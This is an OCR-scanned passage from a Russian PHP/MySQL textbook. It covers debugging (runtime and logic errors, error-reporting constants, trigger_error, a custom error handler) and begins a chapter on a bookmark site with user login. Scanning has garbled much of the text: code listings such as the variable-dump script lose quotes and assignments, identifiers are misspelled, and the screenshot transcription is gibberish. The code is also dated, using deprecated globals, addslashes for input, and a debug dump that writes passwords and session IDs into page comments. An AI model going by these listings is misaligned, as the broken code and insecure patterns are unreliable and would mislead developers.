Следующий сценарий приводит к той же ошибке: <? if ($var == 4) { strstr(); } ‘ / ?> Однако вызов функции strstr () не осуществляется за исключением тех случаев, когда переменная $var принимает значение 4. При этом предупреждение также не выводится. Интерпретатор РНР не тратит время на синтаксический анализ разделов кода, которые в данный момент не выполняются, так что будьте внимательны при тестировании, чтобы охватить каждый фрагмент кода! Неправильный вызов функции легко допустить, но сообщение об ошибке точно идентифицирует строку и имя функции, что делает исправление ошибки довольно- таки простым. Обнаружение подобных ошибок затруднено лишь в случае, когда про- цесс тестирования несовершенен и не проверяется весь условно выполняемый код. Одна из задач тестирования состоит в выполнении каждой строки кода. Вторая зада- ча заключается в проверке всех граничных условий и классов ввода. Чтение и запись в файлы В процессе использования программы могут возникать любые ошибки^ но одни из них случаются чаще других. Ошибки доступа к файлам достаточно вероятны, что- бы заранее предусмотреть методы их эффективной обработки. Жесткие диски могут давать сбои либо переполняться, а ошибки со стороны пользователей приводят к из- менению прав доступа к файлам и каталогам. Обычно в часто приводящих к ошибкам функциях, таких как fopen (), предусмат- ривается возвращаемое значение, идентифицирующее ошибку. Для функции fopen () таким значением является false. Для подобных функций необходимо тщательно проверять возвращаемое значение при каждом вызове и обрабатывать ошибки. Взаимодействие с MySQL и другими базами данных Подключение к базе данных MySQL и ее использование может привести к гене- рации множества ошибок. Одна только функция mysqli connect () может породить следующие ошибки. •Warning: mysqli_connect() [function.mysqli-connect]: Can’t connect to MySQL server on 'localhost' (10061) Предупреждение: mysqli_connect () [function.mysqli-connect]: Невозможно подключиться к серверу MySQL на 1 localhost' (10061) •Warning: mysqli_connect() [function.mysqli-connect]: Unknown MySQL Server Host 'hostname' (11001) Предупреждение: mysqli_connect () [function.mysqli-connect] : Неизвестный хост сервера MySQL 'имя_хоста' <11001> •Warning: mysqli_connect() [function.mysqli-connect]: Access denied for user: 'username'@'localhost' (Using password: YES) Предупреждение: mysqli_connect () [function.mysqli-connect] : Доступ запрещен для пользователя: 'имя_пользователя@localhost' (Использование пароля: ДА) Глава 26. Отладка 523
Несложно догадаться, что функция mysqli_connect () в случае ошибки возвраща- ет значение false. Это означает, что данные типы распространенных ошибок доста- точно легко отслеживать и обрабатывать. Если не остановить нормальное выполнение сценария и не предусмотреть обра- ботку возникшей ошибки, сценарий попытается продолжить взаимодействовать с ба- зой данных. Попытка выполнения запросов к базе данных и получения результатов без нормального соединения с MySQL заставит посетителей наблюдать экран весьма непрофессионального вида, притом полный сообщений об ошибках. Множество других часто используемых PHP-функций, такие как mysqli query (), которые связаны с MySQL, также возвращает значение false в случае, когда что-то идет не так, как запланировано. Если ошибка все же возникает, для получения текста сообщения с описанием ошибки можно воспользоваться функцией mysqli error (), а для вывода кода ошиб- ки — функцией mysqli errno (). Если последняя вызванная функция MySQL не сге- нерировала ошибки, mysqli error () возвращает пустую строку, a mysqli errno () — значение 0. Предположим, что выполнено подключение к серверу и выбрана база данных для использования. Тогда показанный ниже фрагмент кода: $result = mysqli_query ($db, 'select * from does_not_exist'); echo mysqli_errno($db); echo ' <br />' ; echo mysqli_error($db); может привести к генерации следующего сообщения: 1146 Table 'dbname.does_not_exist' doesn't exist 1146 Таблица 'dbname .does_not_exist1 не существует Обратите внимание, что вывод указанных функций относится к выполнению последней вызванной функции MySQL (кроме mysqli error () и mysqli errno ()). Если необходимо знать результаты выполнения команды, следует обязательно выпол- нить проверку до обращения к какой-либо другой функции. Подобно сбоям доступа к файлам, возникают и сбои во время взаимодействия с базами данных. Даже после тщательной разработки и тестирования некоторой служ- бы случается, что демон MySQL (mysqld) выдает сбой либо не остается свободных соединений. Если база данных хранится на другом компьютере, ее работа зависит от другого набора аппаратных и программных компонентов, которые могут сбоить. Это относится к сетевым соединениям, сетевым адаптерам, маршрутизаторам и другим средствам связи между Web-сервером и компьютером с базой данных. Прежде чем использовать результаты, необходимо обязательно проверять успеш- ность запросов к базе данных. Нет смысла пытаться выполнить запрос после сбоя соединения с базой данных, а также извлекать и обрабатывать результаты запроса, выполнение которого завершилось неудачей. Здесь следует отметить различие между сбоем запроса и случаем, когда запрос просто не возвращает данные либо не изменяет какие-то строки таблицы. SQL-запрос, который содержит синтаксические ошибки языка SQL либо относит- ся к несуществующим базам данных, таблицам или столбцам, может привести к сбою. Например, приведенный ниже запрос: select * from does_not_exist; 524 Часть V. Реальные проекты на РНР и MySQL
генерирует ошибку, поскольку таблица с именем does_not_exist не существует. Сооб- щение об ошибке и ее номер можно получить с помощью функций mysqli errno () и mysqli_error(). Синтаксически правильный SQL-запрос, который также адресуется только к суще- ствующим базам данных, таблицам и столбцам, обычно не генерирует ошибку. Тем не менее, если запрашивается пустая таблица либо ведется поиск несуществующих дан- ных, возврата результатов может и не быть. Предположим, что выполнено успешное соединение с базой данных, и существует таблица с именем tl, а в ней — столбец с именем cl. Тогда следующий запрос: select * from tl where cl = ’not in database’; окажется успешным, тем не менее, не вернет никаких результатов. Прежде чем использовать результаты запроса, необходимо выполнить проверку на возможное присутствие ошибки, а также на предмет отсутствия возвращаемых данных. Подключение к сетевым службам Несмотря на то что (теоретически) устройства и программное обеспечение ло- кальной системы могут давать сбой, это бывает редко, за исключением случаев, ко- гда их трудно счесть качественными. При использовании сети для подключения к другим компьютерам и программ, выполняемых на них, необходимо учитывать, что определенная часть системы будет часто выдавать сбои. Во время соединения между двумя компьютерами задействуются многочисленные устройства и службы, которые пользователем не контролируются. Еще раз стоит подчеркнуть, что необходимо тщательно проверять значения, воз- вращаемые функциями, которые призваны взаимодействовать с сетевыми службами. Например, следующий вызов функции: $sp = fsockopen ( ’localhost', 5000 ); в случае неудачной попытки подключения к порту 5000 компьютера localhost не приведет к генерации предупреждающего сообщения. Если же переписать фрагмент кода следующим образом: $sp = fsockopen ( 'localhost', 5000, &$errorno, &$errorstr ); if(!$sp) echo "ОШИБКА: " . $errorno. ’’: ”.$errorstr; будет подавляться выдача встроенного сообщения об ошибке, проверяться возвра- щаемое значение на предмет возникновения ошибки и, в результате, отображаться сообщение, которое поможет ее исправить. В этом случае вывод будет таким: ОШИБКА: 10035: A non-blocking socket operation could not be completed immediately. ОШИБКА: 10035: Неблочная операция с сокетом не может быть завершена немедленно Ошибки времени выполнения гораздо сложнее устранить по сравнению с синтак- сическими ошибками, поскольку программа синтаксического анализа не может их выявить при первом выполнении кода. Поскольку ошибки времени выполнения воз- никают в результате некоторой комбинации событий, могут возникать сложности в их обнаружении и устранении. Синтаксический анализатор не может автоматически указать, что определенная строка сгенерирует ошибку. Задача тестирования как раз и состоит в том, чтобы смоделировать одну из ситуаций, приводящих к возникнове- нию ошибки. Глава 26. Отладка 525
Обработка ошибок времени выполнения требует в какой-то мере предвидения воз- можных ошибочных ситуаций с тем, чтобы предпринять соответствующие действия. Кроме того, необходимо выполнять тщательное тестирование с имитацией каждого класса ошибок времени выполнения, которые могут произойти. Это не означает, что следует пытаться имитировать все возможные ошибки. Например, MySQL может генерировать около 200 различных ошибок со своими но- мерами и связанными с ними сообщениями. Следует сымитировать ошибки в каждом вызове функции, которая может вызвать сбой, а также ошибки каждого типа, кото- рый обрабатывается отдельным блоком кода. Отсутствие проверки данных, вводимых пользователем Мы часто делаем предположения относительно данных, которые будут вводиться пользователями сайта. Если эти данные не оправдывают наших ожиданий, они могут привести к ошибкам, причем как времени выполнения, так и логическим. Классический пример ошибки времени выполнения состоит в обработке вводи- мых пользователем данных, когда к ним забывают применить функцию добавления обратных косых addslashes (). В таких случаях, если имя пользователя содержит апостроф, например, “О’Генри”, функция базы данных сгенерирует ошибку. Ошибки в результате предположений относительно корректности вводимых пользователем данных более подробно рассматриваются в следующем разделе. Логические ошибки Логические ошибки могут оказаться наиболее трудными для обнаружения и устра- нения. К ним относятся случаи, когда вполне допустимый код выполняется как было запрограммировано, однако автор кода преследовал совершенно другие намерения. Логические ошибки могут быть вызваны простыми опечатками, как показано в следующем примере: for ( $i = 0; $i < 10; $i++ ) ; { echo ’Что-то происходит...<br />’; } Этот фрагмент кода является вполне допустимым. Здесь совершенно не нарушает- ся синтаксис РНР. Какие-то внешние службы не задействованы, поэтому ошибки вре- мени выполнения весьма маловероятны. Вот только код выполняет не те действия, которые могут показаться заданными на первый взгляд. Может показаться, что строка "Что-то происходит. . . " должна выводиться в цик- ле for ровно 10 раз. Наличие лишней точки с запятой в конце первой строки означа- ет, что цикл не распространяется на последующие строки. Цикл for будет выполнен 10 раз безрезультатно, а затем один раз будет выполнен оператор echo. Поскольку приведенный выше код вполне допустим, хотя и не дает эффекта, синтаксический анализатор не выведет никаких сообщений. Компьютеры неплохо справляются с определенными задачами, но они не обладают здравым смыслом или высоким интеллектом. Машина в точности выполняет то, что ей указывают. В ре- зультате очень важно добиться того, чтобы инструкции в точности соответствовали замыслу разработчика. Логические ошибки не означают невозможность выполнения кода, а вызывают- ся лишь неудачной попыткой программиста точно выразить с помощью кода свои намерения. Поэтому такие ошибки не могут обнаруживаться автоматически. Ни код 526 Часть V. Реальные проекты на РНР и MySQL
ошибки, ни сообщение о ней не выводятся. Логические ошибки выявляются только в результате тщательного тестирования. Ошибку, подобную рассмотренной в предыдущем примере, легко допустить, одна- ко столь же легко исправить. Все дело в том, что при первом же выполнении кода вывод будет отличаться от запланированного. Большинство логических ошибок го- раздо более коварно.* Логические ошибки, вызывающие затруднения, обычно получаются в результате неверных предположений, проделанных разработчиками. В главе 25 рекомендовалось подключить других программистов для проверки кода и подсказки дополнительных тестовых случаев, а также привлечь на тестирование вместо разработчиков предста- вителей конечных пользователей. Если разработчик будет выполнять тестирование самостоятельно, то весьма вероятно, что код останется построенным на основе его предположений, что пользователи будут вводить только лишь корректные данные, как того от них ожидают. Предположим, что коммерческий сайт содержит текстовое поле Order Quantity (количество заказанного товара). Можно ли предположить, что пользователи будут вводить только положительные числа? Если посетитель введет -10, будет ли програм- ма увеличивать остаток на кредитной карточке на сумму десятикратной стоимости данного товара? Давайте предположим, что форма содержит поле ввода суммы в долларах. Допускается ли ввод суммы со знаком доллара, либо его указывать нельзя? Разрешено ли разделять тысячи запятыми? Некоторые проверки подобного рода можно выпол- нять на стороне клиента (например, с использованием JavaScript-кода), тем самым несколько снизив нагрузку на сервер. Если информация передается на другую страницу, возможна ли ситуация, когда пере- даваемая строка содержит недопустимые символы для URL-адреса, например, пробелы? Количество возможных логических ошибок совершенно не ограничено. Не суще- ствует автоматизированного метода их выявления. Единственное решение предпола- гает, во-первых, избегать в коде сценария явных предположений о (корректном) вводе пользователя и, во-вторых, тщательно проверять все возможные типы допустимого и недопустимого ввода, чтобы в любом случае получался ожидаемый результат. Вспомогательное средство отладки переменных С возрастанием сложности проектов возникает необходимость в том, чтобы рас- полагать утилитой, которая бы помогала выявлять причины ошибок. В листинге 26.1 представлен фрагмент кода, который вы можете счесть весьма полезным. Этот код выводит содержимое переменных, передаваемых странице. Листинг 26.1. duinp_variables .php — этот код может быть включен в страницы для вывода содержимого переменных в целях отладки <? // Эти строки форматируют выводимую информацию в виде // HTML-комментариев и последовательно вызывают функцию dump_array() echo "\п<! — НАЧАЛО ДАМПА ПЕРЕМЕННЫХ —>\п\п"; echo ”<!-- НАЧАЛО ПЕРЕМЕННЫХ GET —>\п"; echo ' <! — '.dump_array($HTTP_GET_VARS)." —>\n"; Глава 26. Отладка 527
echo НАЧАЛО ПЕРЕМЕННЫХ POST — >\n"; echo ’<!— ' .dump_array ($HTTP_POST_VARS) . " —>\n”; echo НАЧАЛО ПЕРЕМЕННЫХ СЕАНСА — >\n"; echo '.dump_array($HTTP_SESSION_VARS)—>\n"; echo "<!— НАЧАЛО ПЕРЕМЕННЫХ COOKIE-НАБОРА —>\n"; echo '.dump_array($HTTP_COOKIE_VARS)." —>\n"; echo "\n<! — КОНЕЦ ДАМПА ПЕРЕМЕННЫХ -~>\n"; // Функция dump_array() получает один массив в качестве параметра. // Она проходит в цикле по этому массиву и создает единственную // строку, представляющую массив'как набор. function dump_array($array) { if(is_array($array)) { $size = count($array); $string = if($size) { $count = 0; $string .= "{ // Добавить ключи и значения всех элементов к строке foreach($array as $var => $value) { $string .= $var." = ”.$value; if($count++ < ($size-l)) { $string . = ”, } } $string .= " }"; } return $string; } else { // Если это не массив, просто вернуть его return $array; } Показанный в листинге 26.1 код выводит четыре массива переменных, принимае- мых страницей. Если страница вызывается с GET-переменными, POST-переменными, cookie-наборами либо переменными сеанса, все они будут выведены. Выводимые значения помещаются в пару HTML-дескрипторов комментариев, чтобы они были доступными для просмотра, но не конфликтовали с методами обра- ботки браузером видимых элементов страницы. Сокрытие отладочной информации в комментариях, как было сделано в листинге 26.1, позволяет не удалять код отладки вплоть до последнего момента. Функция dump array () представляет собой оболочку для функции print_г (), дополнительно выполняя лишь отмену всех завершающих HTML-дескрипторов комментариев. Точный вывод зависит от передаваемых страни- це переменных. Если фрагмент кода из листинга 26.1 добавить в листинг 23.4, кото- рый содержит один из примеров аутентификации из главы 23, то сценарий дополни- тельно сгенерирует следующие строки: <!— НАЧАЛО ДАМПА ПЕРЕМЕННЫХ —> < ! — НАЧАЛО ПЕРЕМЕННЫХ GET — > <!— Array ( ) 528 Часть V. Реальные проекты на РНР и MySQL
<!— НАЧАЛО ПЕРЕМЕННЫХ POST —> <! — Array ( [userid] => testuser [password] => password ) <!— НАЧАЛО ПЕРЕМЕННЫХ СЕАНСА —> <!— Array ( ) <!— НАЧАЛО ПЕРЕМЕННЫХ COOKIE-НАБОРА —> <! — Array ( [PHPSESSID] => b2b5f56fad986dd73af33f470fЗс1865 ) < ! — КОНЕЦ ДАМПА ПЕРЕМЕННЫХ —> Несложно заметить, что отображаются POST-переменные, отправленные из формы регистрации, выводимой на предыдущей странице — userid и password. Как упомина- лось в главе 23, РНР использует cookie-набор для связывания переменных сеанса с оп- ределенными пользователями. Сценарий выводит псевдослучайное число PHPSESSID, хранимое в данном ключе для идентификации определенного пользователя. Уровни выдачи сообщений об ошибках РНР позволяет устанавливать степень “тщательности” обработки ошибок. Вы можете задавать типы событий, для которых будут генерироваться сообщения. По умолчанию РНР выводит сообщения обо всех ошибках, которые не относятся к кате- гории уведомлений. Для установки уровня выдачи сообщений используется набор предопределенных констант, которые перечислены в табл. 26.1. Таблица 26.1. Константы, определяющие уровень сообщений об ошибках Значение Имя Описание 1 EJERROR Сообщения о неисправимых ошибках времени выполнения. 2 E_WARNING Сообщения об исправимых ошибках времени выполнения. 4 EJPARSE Сообщения об ошибках синтаксического анализатора. 8 E_NOTICE Уведомления и предупреждения о том, что выполненные действия могут быть ошибочными. 16 E_CORE_ERROR Сообщения о сбоях запуска интерпретатора РНР. 32 E_CORE_WARNING Сообщения об исправимых ошибках в процессе запуска интерпретатора РНР 64 E_COMPILE_ERROR Сообщения об ошибках компиляции. 128 E_COMPILE_WARNING Сообщения об исправимых ошибках компиляции. Глава 26. Отладка 529
Окончание табл. 26.1 Значение Имя Описание 256 E_USER_ERROR Сообщения об ошибках, сгенерированных пользователем. 512 E_USER_WARNING Сообщения о предупреждениях, сгенерированных поль- зователем. 1024 Е_USER—NOTICE Сообщения об уведомлениях, сгенерированных пользо- вателем. 6143 Е_ALL Сообщения обо всех ошибках и предупреждениях за ис- ключением тех, что выводятся при уровне e strict. 2048 Е_STRICT Сообщения об использовании устаревших и нереко- мендуемых функций; не включено в e all, однако исключительно полезно для рефакторизации кода. Предполагаются изменения для функциональной со- вместимости. 4096 Е_RECOVERABLE—ERROR Сообщения о перехватываемых неисправимых ошибках. Каждая константа представляет тип ошибки, для которой будет генерироваться сообщение, либо же эта ошибка будет игнорироваться. Например, если задать уро- вень ошибок E ERROR, будут выводиться сообщения только о неисправимых ошибках. Допускается объединение констант методами двоичной арифметики с целью получе- ния различных уровней сообщений об ошибках. Устанавливаемый по умолчанию уровень — все сообщения за исключением уведом- лений — определяется следующим образом: Е_ALL & ~Е_NOTICE Приведенное выражение включает две предопределенных константы, объеди- ненных с помощью операций поразрядной арифметики. Амперсанд (&) обозначает поразрядную операцию “И” (AND), а тильда (~) — поразрядную операцию “НЕ” (NOT). Выражение можно прочитать так: E_ALL AND NOT E_NOTICE. Константа E_ALL представляет собой комбинацию всех типов ошибок. Ее можно заменить, связав все остальные константы поразрядной операцией “ИЛИ” (OR, |): E_ERROR | Е_WARNING I E_PARSE | E_NOTICE | E_CORE_ERROR | E_CORE_WARNING | Е_COMPILE—ERROR | E_COMPILE_WARNING | E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE Совершенно аналогично реализуется устанавливаемый по умолчанию уровень сообщений, за исключением того, что отсутствует уровень уведомлений (константа E_NOTICE): Е_ERROR | E_WARNING | E_PARSE | E_CORE_ERROR | Е_CORE_WARNING | E_COMPILE_ERROR | E_COMPILE_WARNING | Е_USER_ERROR | E_USER_WARNING | E_USER_NOTICE Изменение настроек уровня сообщения об ошибках Настройки уровня сообщений об ошибках могут изменяться глобально в файле php.ini либо же для каждого сценария в отдельности. 530 Часть V. Реальные проекты на РНР и MySQL
Для того чтобы изменить уровень сообщений для всех сценариев, необходимо мо- дифицировать следующие четыре строки стандартного файла php.ini: error_reporting = E_ALL & ~E_NOTICE display_errors = On log_errors = Off track_errors * = Off Стандартные глобальные настройки задают: вывод всех сообщений, кроме уведомлений; направление сообщений об ошибках в виде HTML-кода на стандартное устрой- ство вывода; отсутствие протоколирования сообщений на диске; отсутствие отслеживания ошибок, сохранение сообщений в переменной $php_errormsg. Чаще всего уровень выдачи сообщений изменяют таким образом, чтобы он соот- ветствовал комбинации E ALL | E STRICT. В результате будет выводиться огромное число уведомлений. Они могут указывать не только на ошибки, но и на неэффектив- ное использование возможностей РНР, а также на свойства языка автоматически при- сваивать переменным значение 0 в процессе инициализации. Иногда во время отладки имеет смысл установить более высокий уровень сообще- ний ег г о г _г eporting. Если разработчик самостоятельно подготавливает информа- тивные сообщения об ошибках, в окончательном варианте кода имеет смысл отклю- чить опцию отображения сообщений на экране display errors и задействовать опцию протоколирования ошибок logerrors. При этом уровень выдачи сообщений остается высоким. В случае сбоев можно будет просмотреть подробную информацию в журнальных файлах. Вместе с тем поведение программы будет восприниматься как высокопрофессиональное. Включение опции отслеживания ошибок trackerrors помогает выявлять ошиб- ки в собственном коде вместо того, чтобы позволить среде РНР предоставлять стан- дартные функциональные возможности, предназначенные для этого. Хотя РНР вы- водит довольно-таки информативные сообщения об ошибках, когда возникают сбои, стандартное поведение среды выглядит не особенно привлекательно. Как только случается неисправимая ошибка, РНР по умолчанию выводит следующее: <Ьг> <Ь>Тип ошибки</Ь>: сообщение об ошибке in <Ь>путь/имя.php</b> on line <Ь>номер строки</b><br> и прекращает выполнение сценария. В случае исправимой ошибки выводится тот же текст, однако выполнение сценария может продолжаться. Выводимый HTML-код описывает ошибку, тем не менее, выглядит достаточно не- профессионально. Стиль сообщения об ошибке вряд ли будет соответствовать общей концепции оформления сайта. Кроме того, если содержимое страницы отображается в таблице, некоторые пользователи могут вообще не увидеть вывода, если их браузеры бестолково обрабатывают стандартный HTML. Все дело в том, что HTML-код, который открывает, но не закрывает элементы таблицы, например: <table> <tr><td> <br> Глава 26. Отладка 531
<Ь>Тип ошибки</Ь>: сообщение об ошибке in <Ь>путь/имя.php</b> on line <Ь>номер строки</bxbr> дает в некоторых браузерах пустой экран. Совершенно не обязательно сохранять стандартный режим обработки ошибок РНР либо даже использовать одинаковые настройки для всех файлов. Для измене- ния уровня сообщений об ошибках в текущем сценарии можно вызвать функцию error_reporting(). Передача в эту функцию константы либо комбинации констант устанавливает уро- вень точно так же, как и аналогичная директива файла php .ini. Функция возвращает предыдущий уровень выдачи сообщений. Ниже приведен достаточно распространен- ный метод использования упомянутой функции: // Отключить сообщения об ошибках. $old_level = error_reporting(0); // Здесь помещается код, который генерирует предупреждения. // Повторно включить режим выдачи сообщений об ошибках. error_reporting($old_level); ' В этом фрагменте кода отключается режим вывода сообщений об ошибках, что позволяет выполнять код, способный генерировать предупреждения, который ото- бражать нежелательно. Не стоит отключать сообщения об ошибках и предупреждениях навсегда, посколь- ку это серьезно затруднит поиск и исправление ошибок. Генерация собственных ошибок Для генерации собственных ошибок применяется функция trigger error (). Сгенерированные подобным образом ошибки будут обрабатываться так же, как и обычные ошибки РНР. Функции потребуется передать сообщение об ошибке, а также, необязательно, тип ошибки. Допустимыми являются следующие типы: E_USER_ERROR, E_USER_WARNING либо E USER NOTICE. Если тип не указан, по умолчанию принимается значение E_USER_NOTICE. Ниже показан пример применения функции trigger error (): trigger_error("Этот компьютер самоуничтожится через 15 секунд", E_USER_WARNING); Изящная обработка ошибок Если у вас есть опыт программирования на языках C++ и Java, то вы должны хоро- шо знать механизм исключений. Исключения позволяют функциям предупреждать об ошибках и задействовать соответствующие обработчики исключений. Исключения являются прекрасным способом обработки ошибок, особенно в крупных проектах. Исчерпывающее описание исключений было представлено в главе 7. Как упоминалось ранее, можно генерировать свои собственные ошибки, а также поддерживать собственные обработчики ошибок. Функция set error handler () дает возможность предоставить функцию, которая вызывается, когда происходят пользовательские ошибки, предупреждения и уведом- ления. При вызове set error handler () указывается имя функции, которая будет в дальнейшем служить в качестве обработчика ошибок. 532 Часть V. Реальные проекты на РНР и MySQL
Функция обработки ошибок должна принимать два параметра — тип ошибки и со- общение. В зависимости от этих двух переменных, функция может выбирать способ обработки ошибки. Тип ошибки должен соответствовать одной из предопределенных констант. Сообщение представляет собой описательную строку. Ниже представлен пример вызова функции set error handler (): set_error_handler("my_error_handler"); После указания среде РНР на необходимость использования функции my_error_ handler () потребуется подготовить функцию с таким именем. Вот как выглядит про- тотип упомянутой функции: my_error_handler(int error_type, string error_msg [, string errfile [, int errline [, array errcontext]]])) Реализуемые этой функцией операции определяются исключительно вами, как разработчиком. Параметрами, передаваемыми этой функции, являются: тип ошибки; сообщение об ошибке; файл, в котором возникла ошибка; строка, в которой возникла ошибка; таблица символов, т.е. набор всех переменных вместе со значениями на момент возникновения ошибки. Рассмотрим возможные логические действия, которые может реализовать данная функция: отображение заданного сообщения об ошибке (error msg); сохранение информации в журнальном файле; отправка сообщения об ошибке по заданному адресу электронной почты; завершение сценария с помощью оператора exit. Листинг 26.2 содержит сценарий, в котором объявляется обработчик ошибок, ус- танавливается обработчик ошибок с помощью функции set error handler (), а за- тем генерируются некоторые ошибки. Листинг 26.2. handle.php — этот сценарий объявляет пользовательский обработчик ошибок и генерирует различные ошибки <?php // Функция обработки ошибок function myErrorHandler ($errno, $errstr, $errfile, $errline) { echo "<br /xtable bgcolor=\”#cccccc\"XtrXtd> <pXstrong>OIIIHBKA: </strong> ” . $errstr. ”</p> <р>Пожалуйста, попытайтесь еще раз, либо свяжитесь с нами и сообщите, что за ошибка возникла в строке ”.$errline." файла " .$errfile."</р>"; if ( ($errno == E_USER_ERROR) || ($errno == E_ERROR)) { echo "<р>Эта ошибка является неисправимой, программа завершается</р> * </tdX/tr></table>" ; / / Закрыть открытые ресурсы, вывести нижний колонтитул страницы и т.д. exit; } Глава 26. Отладка 533
echo ’’</td></tr></table>"; } // Установить обработчик ошибок set_error_handler('myErrorHandler’); / / Сгенерировать ошибки различных уровней trigger_error('Вызвана функция триггера’, E_USER_NOTICE); fopen('nofile', 'г'); trigger_error(’Этот компьютер на последнем издыхании’, E_USER_WARNING); include (’nofile’); trigger_error(’Этот компьютер самоуничтожится через 15 секунд’, E_USER_ERROR); ?> Вывод, полученный в результате выполнения сценария, показан на рис. 26.1. Файл Правка £цд Журнал Закладки Инструменты Справка * О ft? I < i 1 http;//localhosV’phprn'ysql4e.'chapter26/handte.php ’ ' [Gj ’ P > Самые популярные * Начальная страница я Лента новостей Пожалуйста, попытайтесьеше раз;либосвяжитесь -чтц1Ш.ййЛйа.®0^йШ1а:в строке 23 файла ОШИБКА: to open stream: No such file or directory Пожалуйста, попытайтесь еще раз, либо свяжитесь с нами и сообщите, что за ошибка возниклав строке 24 файла C:Jne^ub^T^TOotphpmys<^4e\Ch2pter261iancileplp ОШИБКА: Этот компьютер напоследаем издыхании Пуй<ц попытайтесь еще раз, заШОса^возниоав строке 25 файла C:InetpubHsTTOToot^pl^n^rs^leCh£pter26^haiidlephp ОШИБКА: mcfode(nofite) [fimetha mdude]: foiled toopen stream: No such file or directory Пожалуйста, попытайтесь ещ е pax либо свяжитесь с нами и сообщите что за строке 26 файла ОШИБКА: indadeO Failed opening noSe4orcKfastoo(fectadejpath= .:C:lpIp5 pear’) Пожалуйста, хюпытйЬгесь еще раз, либо свяжитесь с нами и ообщите.. что за ошибка возникла в строке 26 файла C:dae1pu^A^4vrootpl^mysc^4e\Chapter26^iafldle.jAp Готово Рис. 26.1. С использованием собственного обработчика ошибок .можно выводить более дружественные сообщения, нежели РНР 534 Часть V. Реальные проекты на РНР и MySQL
Данный пользовательский обработчик ошибок реализует лишь поведение по умолчанию. Поскольку этот код создается именно вами, в нем можно предпринимать практически любые действия. Здесь можно сообщить посетителям страницы о воз- никших неполадках, а также представить информацию так, чтобы она соответство- вала общим концепциям оформления сайта. Что еще важнее, так это то, что предос- тавляется существенная гибкость выбора дальнейших действий. Должен ли сценарий продолжать выполнение? Сообщение будет протоколироваться в системных журна- лах или же только отображаться? Требуется ли автоматическое уведомление службы технической поддержки? Важно отметить, что устанавливаемый обработчик ошибок не обязательно дол- жен охватывать все типы ошибок. Некоторые из них, такие как ошибки интерпрета- тора и неисправимые ошибки времени выполнения, могут по-прежнему полагаться на стандартную реакцию. Если это важно, следует тщательно проверять параметры до передачи их в функцию, которая может генерировать неисправимые ошибки, и включать собственный уровень ошибок E USER ERROR в том случае, когда если пара- метры вызывают сбой. Доступна полезная возможность, состоящая в том, что если ваш обработчик оши- бок явно возвращает значение false, будет вызван встроенный обработчик РНР. В этом случае вы можете обрабатывать ошибки E USER * самостоятельно, а обработ- ку обычных ошибок поручить встроенному обработчику РНР. Что дальше В главе 27 мы приступим к работе над первым учебным проектом. Этот проект должен продемонстрировать методы распознавания посетителей сайта, которые за- ходили на него ранее, а также способы соответствующей настройки содержимого сайта в соответствии с потребностями таких посетителей. Глава 26. Отладка 535
27 Реализация задачи аутентификации и персонализации посетителей В этом проекте будет реализована регистрация пользователей на Web-сайте. После решения упомянутой задачи станет возможным отслеживание интересов посетителей и отображение для них соответствующим образом настроенного содер- жимого. Такой подход носит название персонализация. Данный проект дает посетителям возможность создать в Web-среде набор закладок (bookmark) и предлагает им другие ссылки, которые могут заинтересовать посетите- лей, исходя из их поведения в предыдущих сеансах. В более общем виде персонализа- ция пользователей может применяться практически в любом Web-приложении, чтобы отобразит^ для них желаемое содержимое, причем в предпочитаемом формате. В этом, а также в последующих проектах мы начнем с обзора набора требований, подобных тем, которые выдвигает заказчик сайта. Мы преобразуем эти требования в набор компонентов решения, построим схему их объединения, а затем последова- тельно реализуем каждый компонент. В проекте будут реализованы следующие функциональные возможности. Регистрация и аутентификация пользователей. Управление паролями. Запись предпочтений пользователей. Персонализация содержимого. Рекомендация содержимого в зависимости от имеющихся сведений о пользо- вателе. Компоненты решения В рамках этого проекта работа сводится к созданию прототипа интерактивной сис- темы закладок, которая называется PHPBookmark и подобна (но более функционально ограничена) системе, доступной на сайте Backflip по адресу http://www.backflip.com. 536 Часть V. Реальные проекты на РНР и MySQL
Наша система должна предоставлять пользователям возможность регистрировать- ся в ней и сохранять свои персональные закладки, а также получать рекомендации относительно других сайтов, подобранных на основе существующих предпочтений. Компоненты решения можно разбить на три основных категории. Необходимо цметь возможность идентифицировать отдельных посетителей. Кроме того, следует реализовать какой-нибудь метод их аутентификации. Необходимо иметь возможность хранения закладок для отдельного посетителя. Пользователи должны иметь возможность как добавлять, так и удалять закладки. Необходимо располагать способом рекомендации пользователям сайтов, исхо- дя из доступных сведений о клиентах. Теперь, когда идея, лежащая в основе проекта, известна, можно приступать к раз- работке решения и его компонентов. Рассмотрим возможные решения для каждого из трех главных требований, которые были перечислены выше. Идентификация и персонализация пользователей Как упоминалось ранее, существует несколько альтернатив аутентификаций поль- зователей. Поскольку с пользователем необходимо связать некоторую личную инфор- мацию, входное имя и пароль будут храниться в базе данных MySQL и* применяться для решения задачи аутентификации. Если необходимо предоставить пользователям возможность входить в систему, ука- зывая свое имя и пароль, возникает потребность в наличии следующих компонентов. Пользователи должны иметь возможность регистрировать выбранное имя и пароль. Необходимо определить ограничения относительно длины и формата имени и пароля. Из соображений безопасности пароли должны храниться в за- шифрованном виде. Пользователям необходимо позволить входить в систему с указанием сведений, которые они предоставили в процессе регистрации. Пользователи должны иметь возможность выходить из системы после заверше- ния работы с сайтом. Это не особенно важно для лиц, посещающих сайт из до- машних компьютеров, но весьма существенно с точки зрения степени безопасно- сти, когда доступ к сайту осуществляется из компьютера общего пользования. Для сайта необходима возможность проверки, вошел ли пользователь в систе- му, а также предоставления данных тем, кто эту процедуру выполнил. Пользователи должны иметь возможность изменять пароль для усиления степе- ни защищенности. Пользователи должны иметь возможность переустанавливать пароль без помо- щи администратора. Обычный метод состоит в отправке пароля пользователю по адресу электронной почты, указанному во время регистрации. Это означа- ет необходимость сохранения адреса электронной почты в процессе регист- рации. Поскольку пароли хранятся в зашифрованном виде и расшифровка их невозможна, реально потребуется сгенерировать новый пароль и отправить его пользователю. Для целей этого проекта мы разработаем функции, реализующие все перечислен- ные выше возможности. Большинство функций могут повторно использоваться в дру- гих проектах, причем вообще без изменений либо же с небольшими уточнениями. Глава 27. Реализация задачи аутентификации и персонализации посетителей 537
